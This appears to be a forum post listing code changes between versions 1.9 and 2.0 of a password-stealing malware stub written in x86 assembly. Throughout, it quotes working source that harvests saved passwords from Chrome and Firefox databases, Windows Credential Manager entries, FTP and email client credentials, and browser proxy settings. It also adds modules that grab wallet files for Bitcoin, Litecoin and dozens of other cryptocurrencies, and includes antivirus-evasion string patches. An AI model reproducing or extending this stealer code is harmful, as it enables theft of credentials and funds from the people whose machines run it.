Here is some code modifications i've spotted on the 2.0 compared with 1.9 stub source
May i've missed some part, but most of the modifications are here i think.
Code: Select allLine 11 (remove of an useless .code, and definitions added):
ITEMHDR_ID equ 0beef0000h
Line 109 (code addition):
MODULE_BITCOIN equ 00000061h
MODULE_ELECTRUM equ 00000062h
MODULE_MULTIBIT equ 00000063h
MODULE_FTPDISK equ 00000064h
MODULE_LITECOIN equ 00000065h
MODULE_NAMECOIN equ 00000066h
MODULE_TERRACOIN equ 00000067h
MODULE_BITCOINARMORY equ 00000068h
MODULE_PPCOIN equ 00000069h
MODULE_PRIMECOIN equ 0000006ah
MODULE_FEATHERCOIN equ 0000006bh
MODULE_NOVACOIN equ 0000006ch
MODULE_FREICOIN equ 0000006dh
MODULE_DEVCOIN equ 0000006eh
MODULE_FRANKOCOIN equ 0000006fh
MODULE_PROTOSHARES equ 00000070h
MODULE_MEGACOIN equ 00000071h
MODULE_QUARKCOIN equ 00000072h
MODULE_WORLDCOIN equ 00000073h
MODULE_INFINITECOIN equ 00000074h
MODULE_IXCOIN equ 00000075h
MODULE_ANONCOIN equ 00000076h
MODULE_BBQCOIN equ 00000077h
MODULE_DIGITALCOIN equ 00000078h
MODULE_MINCOIN equ 00000079h
MODULE_GOLDCOIN equ 0000007ah
MODULE_YACOIN equ 0000007bh
MODULE_ZETACOIN equ 0000007ch
MODULE_FASTCOIN equ 0000007dh
MODULE_I0COIN equ 0000007eh
MODULE_TAGCOIN equ 0000007fh
MODULE_BYTECOIN equ 00000080h
MODULE_FLORINCOIN equ 00000081h
MODULE_PHOENIXCOIN equ 00000082h
MODULE_LUCKYCOIN equ 00000083h
MODULE_CRAFTCOIN equ 00000084h
MODULE_JUNKCOIN equ 00000085h
; collect proxy settings stored in browsers (HTTP/HTTPS password grabbing must be enabled in builder!)
COLLECT_PROXY_SETTINGS equ 1
Line 198 (just a procedure rename):
invoke IsDataAlreadyProcessed, map.lpMem, map.dwFileSize
Line 235 (just to match the procedure rename):
IsFileAlreadyProcessed proc uses ebx path
Line 248 (just to match the procedure rename):
invoke IsDataAlreadyProcessed, map.lpMem, map.dwFileSize
Line 261 (just to match the procedure rename):
IsFileAlreadyProcessed endp
Line 442:
; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
; Windows (WinInet) Proxy Settings (used for IE and Chrome based browsers)
; SFTP: not supported
.data
CProxySettingsRegPath db 'Software\Microsoft\Windows\CurrentVersion\Internet Settings',0
CProxySettingsRegValue db 'ProxyServer',0
.code
IFDEF COLLECT_PROXY_SETTINGS
GrabProxySettings proc stream, item_id
LOCAL len: DWORD
LOCAL mem: DWORD
mov len, 0
invoke RegReadValueStr, dwCurrentUserKey, offset CProxySettingsRegPath, offset CProxySettingsRegValue, addr len
.IF eax
mov mem, eax
invoke CommonAppendDataStr, stream, mem, item_id
invoke MemFree, mem
.ENDIF
ret
GrabProxySettings endp
ENDIF
Line 476 (code clean-up):
the .data containing this vanished:
szHWIDValue db "HWID",0
szGUIDFmt db "{%08X-%04X-%04X-%02X%02X-%02X%02X%02X%02X%02X%02X}",0
win64_getnative db "GetNativeSystemInfo",0
win64_kernel db "kernel32.dll",0
win64_process db "IsWow64Process",0
IsWin64 procedure vanished from the code but is called line 518
IsAdmin procedure vanished from the code but is called line 533
InstallHWIDValue procedure vanished from the code but is called line 537
Line 591 (2 comments added):
; Tested: Far Manager v3.0 build 3367 x86
; Tested: Far Manager v3.0 build 3525 x86
Line 747 (comment added for the Windows/Total Commander proc):
; Tested: 8.01 64 bit (Release)
Line 837 (code added, Windows/Total Commander proc):
mov byte ptr[CWTCIni], 'w'
mov byte ptr[CWTCRegPath1+9], 'G'
mov byte ptr[CWTCRegPath2+9], 'G'
Line 927 (comment added):
; Tested: WS_FTP Pro 12.4
Line 1123 (added definition for CuteFTP 9):
CCuteFTP_RegPath7 db "Software\GlobalSCAPE\CuteFTP 9\QCToolbar",0
Line 1286 (added definition for CuteFTP 9):
invoke CuteFTPProcessQuickConnections, stream, offset CCuteFTP_RegPath7
Line 1306 (no idea if it's bugfix or error in my 1.9 package)
anyway this concern just a letter fix for path name in FlashFXP dirs not really a major change (if this is one)
Line 1378 (code/comment addition):
; AV-FIXes
mov byte ptr[CFlashFXP_RegPath1], 'S'
mov byte ptr[CFlashFXP_RegPath2], 'S'
mov byte ptr[CFlashFXP_RegPath3], 'S'
mov byte ptr[CFlashFXP_HistoryName+1], 'H'
Line 1812 (code addition):
mov byte ptr[CSmartFTPHistMask], 'H'
Line 1868 (code addition):
mov byte ptr[CTurboFTPDatMask], 'a'
Line 3747 (comment addition):
; Tested: 16.0.1196.73 (Chrome based)
Line 3767 (code addition):
COperaNewAppDataDir db '\Opera Software',0
Line 4219 (procedure rename, refere to line 198):
invoke IsFileAlreadyProcessed, lpFileName
Line 4408 (code addition):
ChromeCommonScanCustomID proto :DWORD, :DWORD, :DWORD
Line 4447 (code addition):
invoke ChromeCommonScanCustomID, stream, offset COperaNewAppDataDir, ITEMHDR_ID or 2
Line 4599 (comment edit):
; FTP Voyager 11.x-16.x
Line 4601: (comment edit):
; Tested: Version 16.1.0.0
Line 4610: (code addition):
CFTPVoyagerProfileFile2 db 'FTPVoyager.ftp.backup',0
CFTPVoyagerProfileFile3 db 'FTPVoyager.ftp.old.backup',0
Line 4623 (code addition):
push eax
push eax
invoke CommonFileScan, stream, eax, offset CFTPVoyagerProfileFile1, ITEMHDR_ID or 0
pop eax
invoke CommonFileScan, stream, eax, offset CFTPVoyagerProfileFile2, ITEMHDR_ID or 0
pop eax
invoke CommonFileScan, stream, eax, offset CFTPVoyagerProfileFile3, ITEMHDR_ID or 0
Line 4703 (code delete):
szSQLite3Imports vanished
Line 4726 (code delete):
szSQLiteMozillaQuery vanished
Line 4737: (code added):
IFDEF COLLECT_PROXY_SETTINGS
szMozillaProxy db 'moz-proxy://',0
ENDIF
Line 4896 (code deletion/addition):
MozillaReadSQLColData whole procedure replaced by: ProcessMozillaSQLiteFile proto :DWORD, :DWORD, :DWORD
Line 4898 (code deletion):
Removed into the MozillaReadSQLFile proc the DWORD definitions
line 4904 (procedure rename, refere to line 198):
invoke IsFileAlreadyProcessed, szSQLFile
Line 4915 (comment added/code deleted)
; Process SQLite3 database using tiny db engine
LoadDllImports vanished replaced by: invoke ProcessMozillaSQLiteFile, stream, szSQLFile, ITEMHDR_ID or 0
Line 4917 (additional code remove about the sqlite3 db)
Line 4967 (procedure rename, refere to line 198):
invoke IsFileAlreadyProcessed, szSignonsFile
Line 5071 (code addition):
IFDEF COLLECT_PROXY_SETTINGS
.IF eax
invoke lstrlen, offset szMozillaProxy
invoke StrCmpNI, host_line, offset szMozillaProxy, eax
.ENDIF
Line 5212 (code addition):
IFDEF COLLECT_PROXY_SETTINGS
invoke StrStrI, ininame, offset szMozillaPrefsJS
.IF eax
invoke PonyStrCat, dir, offset szSlash
invoke PonyStrCatFreeArg1, eax, ininame
push eax
invoke CommonAppendFile, stream, eax, ITEMHDR_ID or 1
call MemFree
.ENDIF
ENDIF
Line 61008 (procedure added):
PSExportAUser proc dwType, lpName, lpUser, pData, pDataLen, stream
invoke StreamWriteDWORD, stream, dwType
invoke lstrlenA, lpName
inc eax ; NULL
invoke StreamWriteBinaryString, stream, lpName, eax
invoke StreamWriteBinaryString, stream, pData, pDataLen
invoke lstrlenA, lpUser
inc eax ; NULL
invoke StreamWriteBinaryString, stream, lpUser, eax
ret
PSExportAUser endp
Line 6418 (code addition):
szIE7CredAll db '*',0
Line 6420 (code addition):
szIE7Comment db 'SspiPfc',0
Line 6498 (code addition):
IFDEF COLLECT_PROXY_SETTINGS
.IF MyCredFree && MyCredEnumerate && MyCryptUnprotectData
mov pCred, NULL
mov Count, 0
lea eax, pCred
push eax
lea eax, Count
push eax
push 0
push offset szIE7CredAll
call MyCredEnumerate
.IF eax && Count && pCred
mov esi, pCred
.WHILE Count && dword ptr[esi]
push esi
mov esi, dword ptr[esi]
invoke lstrcmpi, dword ptr[esi].CREDENTIAL._Comment, offset szIE7Comment
.IF !eax
m2m InBlob.cbData, dword ptr[esi].CREDENTIAL.CredentialBlobSize
m2m InBlob.pbData, dword ptr[esi].CREDENTIAL.CredentialBlob
.IF InBlob.cbData
invoke PSExportAUser, ITEMHDR_ID or 6, [esi].CREDENTIAL.TargetName, [esi].CREDENTIAL.UserName, InBlob.pbData, InBlob.cbData, stream
invoke LocalFree, OutBlob.pbData
.ENDIF
.ENDIF
pop esi
dec Count
add esi, 4
.ENDW
push pCred
call MyCredFree
.ENDIF
.ENDIF
ENDIF
Line 6547 (code addition):
IFDEF COLLECT_PROXY_SETTINGS
invoke GrabProxySettings, stream, ITEMHDR_ID or 5
ENDIF
Line 6929 (code addition):
ELSEIFDEF COMPILE_MODULE_OPERA
COMPILE_CHROMIUM_CODE equ 1
Line 6934 code addition):
COMPILE_SQLITE3_CODE equ 1
ELSEIFDEF COMPILE_MOZILLA_CODE
COMPILE_SQLITE3_CODE equ 1
ENDIF
IFDEF COMPILE_SQLITE3_CODE
; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Line 6945 (code addition):
CChromeWebData db 'Web Data',0
CChromeLoginData db 'Login Data',0
Line 6953 (code deletion):
deleted some datas related to chrome (szChromeLoginTable, szChromeActionURL, szChromePassValue, [...] szChromeHTTPS
Line 6956 (code deletion):
dwChromeActionURL, dwChromePassValue, dwChromeUserValue
Line 7163 (line replace):
mov eax, TRUE -> invoke SQLiteBuildDataRecord, NULL, 0, SQLITE_DATATYPE_OTHER, lpDataOut
Line 7229 (comment edition):
; Get data length & pointer for a single cell from 1-dim record array
Line 7378 (code edition):
added 'item_id' into the SQLiteReadPage proc
Line 7488 (code edition):
Same edition as line 7378.
Line 7578 (code addition):
push item_id
Line 7596 (code deletion):
Process SQL column definitions
Line 7598 (code edition):
added callback_func to SQLiteProcessSQL procedure
Line 7608 (instruction added):
cld
Line 7665 (comment edition):
; Replace double space chars to single space chars (' ' -> ' ')
Line 7681 (comment edition):
; Process column definitions one by one
Line 7688 (code edition):
replaced invoke SQLiteProcessCol by:
push nCol
push esi
call callback_func
Line 7700 (code edition):
same edition as line 7688.
Line 7707 (code addition):
ProcessSQLiteStream proc stream, target_stream, item_id, callback_func
LOCAL header[16]: BYTE
LOCAL dwStatusCode: DWORD
; Read database header
invoke StreamGotoBegin, stream
invoke StreamRead, stream, addr header, sizeof header
.iF !eax
ret
.ENDIF
invoke CompareMem, addr header, offset szSQLite3Header, sizeof header
.IF !eax
ret
.ENDIF
mov dwStatusCode, TRUE
invoke Stream_SafeReadWORD, stream, addr dwStatusCode
.IF !eax || !dwStatusCode
sub eax, eax
ret
.ENDIF
; Validate page size
push eax
sub ecx, ecx
.WHILE eax
shr eax, 1
.IF CARRY?
inc ecx
.ENDIF
.ENDW
pop eax
.IF eax == 1
mov eax, 65536
.ENDIF
; Page size must be power of 2
.IF ecx != 1
sub eax, eax
ret
.ENDIF
mov dwSQLitePageSize, eax
; File format write version
invoke Stream_SafeReadByte, stream, addr dwStatusCode
.IF ((eax != 1) && (eax != 2)) || ! dwStatusCode
sub eax, eax
ret
.ENDIF
; File format read version
invoke Stream_SafeReadByte, stream, addr dwStatusCode
.IF ((eax != 1) && (eax != 2)) || ! dwStatusCode
sub eax, eax
ret
.ENDIF
; Reserved bytes
invoke Stream_SafeReadByte, stream, addr dwStatusCode
.IF eax != 0 || ! dwStatusCode
sub eax, eax
ret
.ENDIF
; Maximum embedded payload fraction
invoke Stream_SafeReadByte, stream, addr dwStatusCode
.IF eax != 64 || ! dwStatusCode
sub eax, eax
ret
.ENDIF
; Minimum embedded payload fraction
invoke Stream_SafeReadByte, stream, addr dwStatusCode
.IF eax != 32 || ! dwStatusCode
sub eax, eax
ret
.ENDIF
; Leaf payload fraction
invoke Stream_SafeReadByte, stream, addr dwStatusCode
.IF eax != 32 || ! dwStatusCode
sub eax, eax
ret
.ENDIF
invoke Stream_SafeReadSkip, stream, 4*8, addr dwStatusCode
; Database text encoding
invoke Stream_SafeReadDWORD, stream, addr dwStatusCode
.IF (eax < 1) || (eax > 3) || (!dwStatusCode)
sub eax, eax
ret
.ENDIF
mov dwSQLiteEncoding, eax
invoke Stream_SafeReadSkip, stream, 40, addr dwStatusCode
; Start database processing from page 1
invoke SQLiteReadPage, stream, target_stream, 1, addr dwStatusCode, item_id, callback_func
ret
ProcessSQLiteStream endp
ENDIF
; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
; Common chromium decryption
IFDEF COMPILE_CHROMIUM_CODE
.data
CChromeWebData db 'Web Data',0
CChromeLoginData db 'Login Data',0
szChromeLoginTable db 'logins',0
szChromeActionURL db 'origin_url',0
szChromePassValue db 'password_value',0
szChromeUserValue db 'username_value',0
szChromeFTP db 'ftp://',0
IFDEF GRAB_HTTP
szChromeHTTP db 'http://',0
szChromeHTTPS db 'https://',0
ENDIF
.data?
dwChromeActionURLIndex dd ?
dwChromePassValueIndex dd ?
dwChromeUserValueIndex dd ?
.code
; Process SQL column definition
SQLiteProcessChromeColDef proc uses edi column_definition, column_index
invoke Trim, column_definition
invoke StrStrI, column_definition, offset szSQLiteSpaceChar
.IF !eax
ret
.ENDIF
mov byte ptr[eax], 0
invoke Trim, column_definition
mov edi, offset szSQLiteStopWords
@@:
invoke lstrcmpi, edi, column_definition
.IF !eax
ret
.ENDIF
@Next @B
invoke lstrlen, column_definition
.IF !eax
ret
.ENDIF
invoke lstrcmpi, column_definition, offset szChromeActionURL
.IF !eax
m2m dwChromeActionURLIndex, column_index
.ENDIF
invoke lstrcmpi, column_definition, offset szChromePassValue
.IF !eax
m2m dwChromePassValueIndex, column_index
.ENDIF
invoke lstrcmpi, column_definition, offset szChromeUserValue
.IF !eax
m2m dwChromeUserValueIndex, column_index
.ENDIF
mov eax, TRUE
ret
SQLiteProcessChromeColDef endp
; Process chrome password data row
SQLiteProcessChromeDataTable proc uses esi edi stream, target_stream, row_array, cell_count, item_id
Line: 7904 (line edition):
dwChromeActionURL -> dwChromeActionURLIndex
dwChromePassValue -> dwChromePassValueIndex
dwChromeUserValue -> dwChromeUserValueIndex
Line 7906 (line edition):
dwChromeActionURL -> dwChromeActionURLIndex
Line 7907 (line edition):
dwChromePassValue -> dwChromePassValueIndex
Line 7908 (line edition):
dwChromeUserValue -> dwChromeUserValueIndex
Line 7960 (line edition):
ITEMHDR_ID or 0 -> item_id
Line 7974 (line edition):
SQLiteProcessDataTable endp -> SQLiteProcessChromeDataTable endp
Line 7985 (line edition):
SQLiteProcessSchemaTable -> SQLiteProcessChromeSchemaTable
Line 8011 code edition):
mov dwChromeActionURL, -1 -> mov dwChromeActionURLIndex, -1
Line 8012 code edition):
mov dwChromePassValue, -1 -> mov dwChromePassValueIndex, -1
Line 8013 code edition):
mov dwChromeUserValue, -1 -> mov dwChromeUserValueIndex, -1
Line 8015 (line edition):
invoke SQLiteProcessSQL, cell_data, offset SQLiteProcessChromeColDef
Line 8018 (code edition):
.IF (dwChromeActionURLIndex != -1) && (dwChromePassValueIndex != -1) && (dwChromeUserValueIndex != -1)
Line 8019 (code edition):
invoke SQLiteReadPage, stream, target_stream, root_page, addr dwStatusCode, item_id, offset SQLiteProcessChromeDataTable
Line 8029 (procedure rename):
SQLiteProcessChromeSchemaTable endp
Line 8031 (procedure modification):
ProcessChromeSQLiteFile proc target_stream, szSQLFileName, item_id
LOCAL stream: DWORD
invoke StreamCreate, addr stream
invoke StreamLoadFromFile, szSQLFileName, stream
.IF eax
invoke ProcessSQLiteStream, stream, target_stream, item_id, offset SQLiteProcessChromeSchemaTable
.IF !eax
; Error occured while processing ".sqlite" file
; Send ".sqlite" file for debugging
;invoke CommonAppendFileForceDupe, target_stream, lpFileName, ITEMHDR_ID or 1000h
.ENDIF
Line 8029 (just a renamed of the end of the proc.):
SQLiteProcessChromeSchemaTable endp
Line 8031 (rewrote of the proc):
ProcessChromeSQLiteFile proc target_stream, szSQLFileName, item_id
LOCAL stream: DWORD
invoke StreamCreate, addr stream
invoke StreamLoadFromFile, szSQLFileName, stream
.IF eax
invoke ProcessSQLiteStream, stream, target_stream, item_id, offset SQLiteProcessChromeSchemaTable
.IF !eax
; Error occured while processing ".sqlite" file
; Send ".sqlite" file for debugging
;invoke CommonAppendFileForceDupe, target_stream, lpFileName, ITEMHDR_ID or 1000h
.ENDIF
Line 8044 (code addition):
invoke StreamFree, stream
Line 8046 (proc code addition):
ret
ProcessChromeSQLiteFile endp
ChromeAppDataCommonSingleFileScan proc stream, csidl, appdata_dir, config_file, item_id
invoke SHGetFolderPathStr, csidl
.IF eax
invoke PonyStrCatFreeArg1, eax, appdata_dir
push eax
invoke CommonFileScanCallback, stream, eax, config_file, item_id, offset ProcessChromeSQLiteFile
call MemFree
Line 8057 (code addition):
ret
ChromeAppDataCommonSingleFileScan endp
Line 8060 (proc code addition):
ChromeCommonScanCustomID proc stream, base_appdata_dir, id
invoke ChromeAppDataCommonSingleFileScan, stream, CSIDL_APPDATA, base_appdata_dir, offset CChromeWebData, id
invoke ChromeAppDataCommonSingleFileScan, stream, CSIDL_APPDATA, base_appdata_dir, offset CChromeLoginData, id
invoke ChromeAppDataCommonSingleFileScan, stream, CSIDL_LOCAL_APPDATA, base_appdata_dir, offset CChromeWebData, id
invoke ChromeAppDataCommonSingleFileScan, stream, CSIDL_LOCAL_APPDATA, base_appdata_dir, offset CChromeLoginData, id
invoke ChromeAppDataCommonSingleFileScan, stream, CSIDL_COMMON_APPDATA, base_appdata_dir, offset CChromeWebData, id
invoke ChromeAppDataCommonSingleFileScan, stream, CSIDL_COMMON_APPDATA, base_appdata_dir, offset CChromeLoginData, id
ret
ChromeCommonScanCustomID endp
ChromeCommonScan proc stream, base_appdata_dir
invoke ChromeCommonScanCustomID, stream, base_appdata_dir, ITEMHDR_ID or 0
ret
ChromeCommonScan endp
ENDIF
IFDEF COMPILE_MOZILLA_CODE
; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
; Common Mozilla SQLite3 database decryption
.data
szMozillaLoginTable db 'moz_logins',0
szMozillaActionURL db 'hostname',0
szMozillaPassValue db 'encryptedPassword',0
szMozillaUserValue db 'encryptedUsername',0
.data?
dwMozillaActionURLIndex dd ?
dwMozillaPassValueIndex dd ?
dwMozillaUserValueIndex dd ?
.code
; Process SQL column definition
SQLiteProcessMozillaColDef proc uses edi column_definition, column_index
invoke Trim, column_definition
invoke StrStrI, column_definition, offset szSQLiteSpaceChar
.IF !eax
Line 8102 (code addition):
mov byte ptr[eax], 0
invoke Trim, column_definition
Line 8105 (code addition/deletion):
mov edi, offset szSQLiteStopWords
@@:
invoke lstrcmpi, edi, column_definition
.IF !eax
line 8113 (code addition/deletion):
invoke lstrlen, column_definition
.IF !eax
Line 8118 (code addition/remove):
invoke lstrcmpi, column_definition, offset szMozillaActionURL
.IF !eax
m2m dwMozillaActionURLIndex, column_index
Line 8123 (code addition/remove):
invoke lstrcmpi, column_definition, offset szMozillaPassValue
.IF !eax
m2m dwMozillaPassValueIndex, column_index
Line 8128 (code addition/deletion):
invoke lstrcmpi, column_definition, offset szMozillaUserValue
.IF !eax
m2m dwMozillaUserValueIndex, column_index
Line 8133 (code addition/deletion):
mov eax, TRUE
ret
SQLiteProcessMozillaColDef endp
; Process password data row
SQLiteProcessMozillaDataTable proc stream, target_stream, row_array, cell_count, item_id
LOCAL url_cell_len: DWORD
LOCAL url_cell_type: DWORD
LOCAL url_cell_data: DWORD
LOCAL user_cell_len: DWORD
LOCAL user_cell_type: DWORD
LOCAL user_cell_data: DWORD
LOCAL pass_cell_len: DWORD
LOCAL pass_cell_type: DWORD
LOCAL pass_cell_data: DWORD
LOCAL host: DWORD
LOCAL user: DWORD
LOCAL pass: DWORD
.IF !cell_count
Line 8155 (code addition/deletion):
mov eax, cell_count
.IF (dwMozillaActionURLIndex < eax) && (dwMozillaPassValueIndex < eax) && (dwMozillaUserValueIndex < eax)
; Get cell values
invoke SQLiteGetRecordArrayCell, row_array, dwMozillaActionURLIndex, addr url_cell_len, addr url_cell_type, addr url_cell_data
invoke SQLiteGetRecordArrayCell, row_array, dwMozillaUserValueIndex, addr user_cell_len, addr user_cell_type, addr user_cell_data
invoke SQLiteGetRecordArrayCell, row_array, dwMozillaPassValueIndex, addr pass_cell_len, addr pass_cell_type, addr pass_cell_data
.IF url_cell_len && pass_cell_len
mov edx, url_cell_len
inc edx
invoke MemAlloc, edx
mov host, eax
invoke MoveMem, url_cell_data, host, url_cell_len
mov user, NULL
mov pass, NULL
.IF mozilla_mode == MOZILLA_MODE_FTP_HTTP
invoke lstrlen, offset szMozillaFTP
invoke StrCmpNI, host, offset szMozillaFTP, eax
IFDEF GRAB_HTTP
.IF eax
invoke lstrlen, offset szMozillaHTTP
invoke StrCmpNI, host, offset szMozillaHTTP, eax
.ENDIF
.IF eax
invoke lstrlen, offset szMozillaHTTPS
invoke StrCmpNI, host, offset szMozillaHTTPS, eax
.ENDIF
IFDEF COLLECT_PROXY_SETTINGS
.IF eax
invoke lstrlen, offset szMozillaProxy
invoke StrCmpNI, host, offset szMozillaProxy, eax
.ENDIF
ENDIF
ENDIF
.ELSEIF mozilla_mode == MOZILLA_MODE_FIREFTP
invoke lstrlen, offset szMozillaFireFTP
invoke StrCmpNI, host, offset szMozillaFireFTP, eax
.ELSEIF mozilla_mode == MOZILLA_MODE_EMAIL
sub eax, eax ; allow all hosts
.ENDIF
.IF !eax
; user (can be empty for some record types)
.IF user_cell_len
invoke MozillaNSSDecryptPassword, user_cell_data, user_cell_len
mov user, eax
.ENDIF
; pass
invoke MozillaNSSDecryptPassword, pass_cell_data, pass_cell_len
mov pass, eax
.IF host && pass
; export recovered data
invoke StreamWriteDWORD, target_stream, item_id
invoke StreamWriteString, target_stream, host
invoke StreamWriteString, target_stream, user
invoke StreamWriteString, target_stream, pass
.ENDIF
.ENDIF
invoke MemFree, user
invoke MemFree, pass
invoke MemFree, host
.ENDIF
Line 8225 (code addition/deletion):
ret
SQLiteProcessMozillaDataTable endp
SQLiteProcessMozillaSchemaTable proc stream, target_stream, row_array, cell_count, item_id
LOCAL cell_len: DWORD
LOCAL cell_type: DWORD
LOCAL cell_data: DWORD
LOCAL table_name: DWORD
LOCAL root_page: DWORD
LOCAL dwStatusCode: DWORD
.IF cell_count == 5
; Validate table column count
invoke SQLiteGetRecordArrayCell, row_array, 2, addr cell_len, addr cell_type, addr cell_data
.IF cell_type == SQLITE_DATATYPE_STR
m2m table_name, cell_data
invoke lstrcmpi, table_name, offset szMozillaLoginTable
.IF !eax
invoke SQLiteGetRecordArrayCell, row_array, 0, addr cell_len, addr cell_type, addr cell_data
.IF cell_type == SQLITE_DATATYPE_STR
invoke lstrcmp, offset szSQLite3TableType, cell_data
.IF !eax
invoke SQLiteGetRecordArrayCell, row_array, 3, addr cell_len, addr cell_type, addr cell_data
.IF cell_type == SQLITE_DATATYPE_INT
mov eax, cell_data
m2m root_page, dword ptr[eax]
invoke SQLiteGetRecordArrayCell, row_array, 4, addr cell_len, addr cell_type, addr cell_data
.IF cell_type == SQLITE_DATATYPE_STR
mov dwMozillaActionURLIndex, -1
mov dwMozillaPassValueIndex, -1
mov dwMozillaUserValueIndex, -1
invoke SQLiteProcessSQL, cell_data, offset SQLiteProcessMozillaColDef
mov dwStatusCode, TRUE
.IF (dwMozillaActionURLIndex != -1) && (dwMozillaPassValueIndex != -1) && (dwMozillaUserValueIndex != -1)
invoke SQLiteReadPage, stream, target_stream, root_page, addr dwStatusCode, item_id, offset SQLiteProcessMozillaDataTable
.ENDIF
.ENDIF
.ENDIF
.ENDIF
.ENDIF
.ENDIF
.ENDIF
Line 8271 (code deletion):
mov dwSQLiteEncoding, eax etc....
Line 8272 (code edition):
SQLiteProcessMozillaSchemaTable endp
Line 8272 (code edition):
ProcessMozillaSQLiteFile proc target_stream, szSQLFileName, item_id
Line 8280 (code addition):
, item_id, offset SQLiteProcessMozillaSchemaTable
Line 8290 (code edition/remove):
ProcessSQLiteFile endp -> ProcessMozillaSQLiteFile endp
ChromeAppDataCommonSingleFileScan procedure deleted.
Line 8299 (comment added):
; Tested: Google Chrome 29.0.1547.66 m
Line 8374 (code edition):
ProcessSQLiteFile -> ProcessChromeSQLiteFile
Line 8375 (code edition):
ProcessSQLiteFile -> ProcessChromeSQLiteFile
Line 9307 (procedure rename, check Line 198):
invoke IsDataAlreadyProcessed, map.lpMem, map.dwFileSize
Line 10932 (code addition):
mov byte ptr[CWindowsMailPasswordList+1], 'P'
mov byte ptr[CWindowsMailSMTPPass+1], 'S'
Line 11392 (code addition):
mov byte ptr[CIncrediMailSMTPServer], 'S'
mov byte ptr[CIncrediMailSMTPPort], 'S'
mov byte ptr[CIncrediMailSMTPUser], 'S'
mov byte ptr[CIncrediMailSMTPPass], 'S'
Line 11622 (code deletion):
base_path, do_decrypt <- (removed 'do_encrypt')
Line 11734 (code deletion):
reg_key, S, 0 <- (removed '0')
Line 11959 (code addition):
.IF bListEncrypted
mov bListEncrypted, FALSE
invoke DecipherList, offset COutlookRegValues
invoke DecipherList, offset COutlookBinaryValues
invoke DecipherList, offset COutlookPassValues
invoke DecipherList, offset COutlookPassValues2
.ENDIF
Line 12087 (code addition):
; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
; Bitcoin
; http://bitcoin.org
; Tested: 0.8.1-beta
; SFTP: not supported
IFDEF COMPILE_MODULE_BITCOIN
.data
CBitconWalletFile db 'wallet.dat',0
CBitcoinAppDataDir db '\Bitcoin',0
.code
GrabBitcoin proc stream
LOCAL hdr_ofs: DWORD
invoke StreamWriteModuleHeader, stream, MODULE_BITCOIN, 0
mov hdr_ofs, eax
invoke AppDataCommonFileScan, stream, offset CBitcoinAppDataDir, offset CBitconWalletFile, ITEMHDR_ID or 0
invoke StreamUpdateModuleLen, stream, hdr_ofs
ret
GrabBitcoin endp
ENDIF
; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
; Electrum
; http://electrum.org/
; Tested: 1.7.3
; SFTP: not supported
IFDEF COMPILE_MODULE_ELECTRUM
.data
CElectrumWalletFile db 'electrum.dat',0
CElectrumAppDataDir db '\Electrum',0
.code
GrabElectrum proc stream
LOCAL hdr_ofs: DWORD
invoke StreamWriteModuleHeader, stream, MODULE_ELECTRUM, 0
mov hdr_ofs, eax
invoke AppDataCommonFileScan, stream, offset CElectrumAppDataDir, offset CElectrumWalletFile, ITEMHDR_ID or 0
invoke StreamUpdateModuleLen, stream, hdr_ofs
ret
GrabElectrum endp
ENDIF
; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
; MultiBit
; http://multibit.org
; Tested: 0.5.9
; SFTP: not supported
IFDEF COMPILE_MODULE_ELECTRUM
.data
CMultiBitWalletFile db '.wallet',0
CMultiBitAppDataDir db '\MultiBit',0
.code
GrabMultiBit proc stream
LOCAL hdr_ofs: DWORD
invoke StreamWriteModuleHeader, stream, MODULE_MULTIBIT, 0
mov hdr_ofs, eax
invoke AppDataCommonFileScan, stream, offset CMultiBitAppDataDir, offset CMultiBitWalletFile, ITEMHDR_ID or 0
invoke StreamUpdateModuleLen, stream, hdr_ofs
ret
GrabMultiBit endp
ENDIF
; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
; FTP Disk
; Tested: ver 1.2
; SFTP: implemented
IFDEF COMPILE_MODULE_FTPDISK
.data
CFTPDiskAccountsFile db 'Accounts.ini',0
CFTPDiskAppDataDir db '\Maxprog\FTP Disk',0
.code
GrabFTPDisk proc stream
LOCAL hdr_ofs: DWORD
invoke StreamWriteModuleHeader, stream, MODULE_FTPDISK, 0
mov hdr_ofs, eax
invoke AppDataCommonFileScan, stream, offset CFTPDiskAppDataDir, offset CFTPDiskAccountsFile, ITEMHDR_ID or 0
invoke StreamUpdateModuleLen, stream, hdr_ofs
ret
GrabFTPDisk endp
ENDIF
; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
; Litecoin
; https://litecoin.org/
; Tested: v0.8.5.1-beta
; SFTP: not supported
IFDEF COMPILE_MODULE_LITECOIN
.data
CLitecoinWalletFile db 'wallet.dat',0
